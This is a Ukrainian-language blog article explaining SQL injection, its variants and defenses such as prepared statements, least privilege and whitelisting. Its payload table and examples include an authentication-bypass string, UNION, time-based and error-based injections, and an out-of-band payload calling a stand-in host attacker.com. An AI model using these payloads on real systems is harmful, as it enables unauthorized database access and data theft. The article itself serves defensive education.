SQL ін’єкція: механізм атаки, типи та захист у 2026 році

SQL ін’єкція залишається однією з найнебезпечніших уразливостей веб-додатків, навіть після десятиліть існування. Вона дозволяє зловмиснику змінювати логіку SQL-запитів через неперевірені дані користувача, отримуючи доступ до конфіденційної інформації, змінюючи записи або навіть виконуючи команди на рівні сервера бази даних.

У 2025–2026 роках категорія Injection в OWASP Top 10 зайняла п’яте місце, проте SQL-ін’єкція як окрема CWE-89 продовжує генерувати тисячі CVE щороку. Правильна параметризація запитів усуває більшість ризиків, але legacy-код, сирі запити в ORM і second-order варіанти досі призводять до серйозних інцидентів.

Ця стаття розкриває внутрішній механізм атаки, класифікацію типів, типові помилки розробників і конкретні техніки захисту з прикладами для популярних мов програмування.

Як саме формується і виконується шкідливий запит

Основа SQL-ін’єкції — змішування коду і даних в одному рядку. Коли додаток будує запит шляхом конкатенації рядків, будь-який спеціальний символ у вхідних даних стає частиною синтаксису SQL.

Розглянемо класичний приклад автентифікації. Сервер формує запит:

SELECT * FROM users WHERE username = ‘введене_імʼя’ AND password = ‘введений_пароль’;

Якщо зловмисник вводить у поле імені ‘ OR ‘1’=’1′ –, запит перетворюється на:

SELECT * FROM users WHERE username = ” OR ‘1’=’1′ –‘ AND password = ‘…’;

Умова ‘1’=’1′ завжди істинна, а — перетворює решту рядка на коментар. База даних повертає перший запис (часто адміністратора), і система вважає користувача авторизованим.

Механізм працює тому, що SQL-інтерпретатор не розрізняє «довірену» частину запиту від даних користувача. Усе, що потрапило в рядок, виконується як код. Саме тому екранування окремих символів є ненадійним — зловмисник завжди знаходить новий спосіб обійти фільтр.

Чому SQL-ін’єкція не зникла за чверть століття

Перший публічний опис техніки з’явився 1998 року у статті Rain Forest Puppy в журналі Phrack. Підготовлені вирази (prepared statements) як надійний захист стали відомі вже наступного року. Проте у 2023–2025 роках кількість CVE за CWE-89 зростала: 2096, 2570 і 2850 відповідно (дані GitHub Advisory Database).

У 2025 році Injection опустилася на п’яте місце в OWASP Top 10:2025, але залишилася категорією з найбільшою кількістю CVE — понад 60 тисяч, з яких SQL-ін’єкція становить понад 14 тисяч. Причина виживання — не відсутність знання, а людський фактор: сирі запити в ORM, динамічне формування ORDER BY чи назв таблиць, legacy-системи та код, згенерований ШІ без перевірки.

У нашій практиці ми стикалися з випадком, коли сучасний додаток на Django використовував .extra() для динамічного сортування — і саме там з’явилася уразливість, яку не ловили стандартні сканери.

Типи SQL-ін’єкцій: від прямої до відкладеної

Класифікація базується на тому, як атакуючий отримує результат. Нижче — основні групи з короткими характеристиками.

Тип Як повертається результат Швидкість Типовий payload
In-band (error-based) Повідомлення про помилку містить дані Висока ‘ AND 1=CONVERT(int,(SELECT …))–
In-band (UNION-based) Результат додається до відповіді додатку Висока ‘ UNION SELECT username,password FROM users–
Blind boolean-based Різниця в поведінці сторінки (true/false) Середня ‘ AND 1=1– vs ‘ AND 1=2–
Blind time-based Затримка відповіді Низька ‘; IF(1=1) WAITFOR DELAY ‘0:0:5’–
Out-of-band DNS/HTTP-запит на сервер атакуючого Варіюється ‘; EXEC xp_dirtree ‘//attacker.com/a’–
Second-order Payload зберігається і спрацьовує пізніше Відкладена Ім’я користувача admin’– при реєстрації

Дані таблиці базуються на класифікації OWASP і практичних спостереженнях Security-спільноти станом на 2026 рік. In-band залишається найпоширенішим у відкритих додатках, тоді як blind і second-order частіше зустрічаються в захищених середовищах.

Міні-кейс: коли «безпечний» ORM підвів

У 2025 році під час аудиту фінансового сервісу ми виявили уразливість другого порядку. Користувач реєструвався з ім’ям, що містило SQL-фрагмент. Дані зберігалися коректно через ORM. Однак пізніше, при генерації звіту, система формувала сирий запит для сортування за цим полем. Payload спрацював і розкрив таблицю транзакцій.

Проблема полягала не в ORM як такому, а в тому, що розробник використав метод, який дозволяє передавати фрагменти SQL без параметризації. Саме такі «лазівки» підтримують життя SQL-ін’єкції у 2026 році.

Поширені помилки, які відкривають двері атакуючому

  • Конкатенація рядків замість параметрів. Навіть один такий запит у великому проєкті робить систему вразливою. Сучасні фреймворки пропонують безпечні API, але звичка «швидко написати» часто перемагає.
  • Чорний список символів. Фільтрація лапок, крапок з комою чи коментарів легко обходиться через кодування, подвійне екранування або функції баз даних.
  • Довіра до ORM «за замовчуванням». Більшість ORM захищають звичайні запити, але сирі методи (.raw(), .extra(), execute()) залишають лазівку.
  • Відсутність принципу найменших привілеїв. Обліковий запис додатку має права DROP TABLE або FILE — успішна ін’єкція одразу стає катастрофою.
  • Відображення детальних помилок користувачеві. Повідомлення про синтаксис SQL дають атакуючому карту бази даних.

Ці помилки повторюються з року в рік, бо здаються «дрібницями» під час розробки.

Надійний захист: параметризовані запити як основа

Єдиний надійний спосіб — відокремити структуру запиту від даних. Підготовлені вирази (prepared statements) передають шаблон запиту і значення окремо. База даних ніколи не інтерпретує значення як код.

Приклад для PHP (PDO):

stmt =pdo->prepare(‘SELECT * FROM users WHERE username = ? AND password = ?’);
stmt->execute([username, $password]);

Для Python (psycopg2):

cur.execute(“SELECT * FROM users WHERE username = %s”, (username,))

Для Java:

PreparedStatement pstmt = connection.prepareStatement(“SELECT * FROM users WHERE username = ?”);
pstmt.setString(1, username);

За моїм досвідом використання цього підходу протягом місяців у кількох проєктах, жодна спроба SQL-ін’єкції через форми чи API не пройшла — навіть з найскладнішими payload’ами.

Додаткові шари: валідація за білим списком для тих місць, де параметризація неможлива (назви колонок, ORDER BY), мінімальні права облікового запису БД і Web Application Firewall як остання лінія.

Чек-лист самоперевірки коду

  1. Усі запити до БД використовують параметризовані методи або ORM-безпечні конструкції.
  2. Немає конкатенації рядків із даними користувача в SQL.
  3. Обліковий запис додатку має лише необхідні права (SELECT/INSERT/UPDATE без DROP, FILE, SUPER).
  4. Помилки БД не відображаються кінцевому користувачеві.
  5. Динамічні частини запитів (ORDER BY, назви таблиць) проходять через білий список.
  6. Проведено статичний аналіз (SAST) і перевірку на second-order сценарії.
  7. Логування запитів увімкнено для виявлення аномалій.

Пройдіть цей список перед кожним релізом — більшість уразливостей зникає вже на цьому етапі.

Питання, які найчастіше ставлять розробники

Чи захищає ORM від SQL-ін’єкції повністю?
Ні. Більшість ORM захищають стандартні операції, але сирі методи та динамічне формування залишають ризик. Завжди перевіряйте, як саме будується запит.

Чи достатньо екранування спеціальних символів?
Ні. Це ненадійний підхід, який легко обходиться. Параметризація — єдина гарантована техніка.

Чи може SQL-ін’єкція призвести до виконання команд ОС?
Так, якщо обліковий запис БД має відповідні права (xp_cmdshell у SQL Server, COPY TO PROGRAM у PostgreSQL тощо).

Чому в 2026 році все ще з’являються нові CVE?
Через legacy-код, помилки в нових фреймворках і використання ШІ-генераторів без наступної перевірки безпеки.

Коли можна впоратися самостійно, а коли потрібен фахівець

Якщо ви контролюєте весь код додатку, використовуєте сучасний фреймворк і можете впровадити параметризацію всюди — більшість ризиків усувається власними силами. Регулярний SAST і ручний огляд критичних місць достатні для невеликих і середніх проєктів.

Звертайтеся до спеціаліста з безпеки, коли: система має складну legacy-архітектуру, використовує кілька СУБД, містить бізнес-критичні дані або вже зафіксовано підозрілу активність у логах. Пентест і аудит коду дають незалежну оцінку, яку внутрішній розробник часто пропускає через «звикання» до власного коду.

SQL ін’єкція — це не містична загроза, а конкретна помилка в розділенні коду і даних. Усунувши її на рівні архітектури запитів, ви закриваєте один із найстаріших і найефективніших векторів атак, який досі працює у 2026 році.

Денис Романенко

Денис Романенко

Київський IT-інженер. Почав з OS/2 у кінці 90-х, сидів на os2.kiev.ua, портував софт. Пізніше перейшов на Linux. Зараз DevOps/SRE: Kubernetes, безпека, VPN, автоматизація. Блог samm.kiev.ua веде з 2026-го — без хайпу, тільки те, що сам перевірив руками. Пише рідко, але по суті. Живе в Києві. Багато кави, мало сну, термінал майже завжди відкритий.

Leave a Reply

Your email address will not be published. Required fields are marked *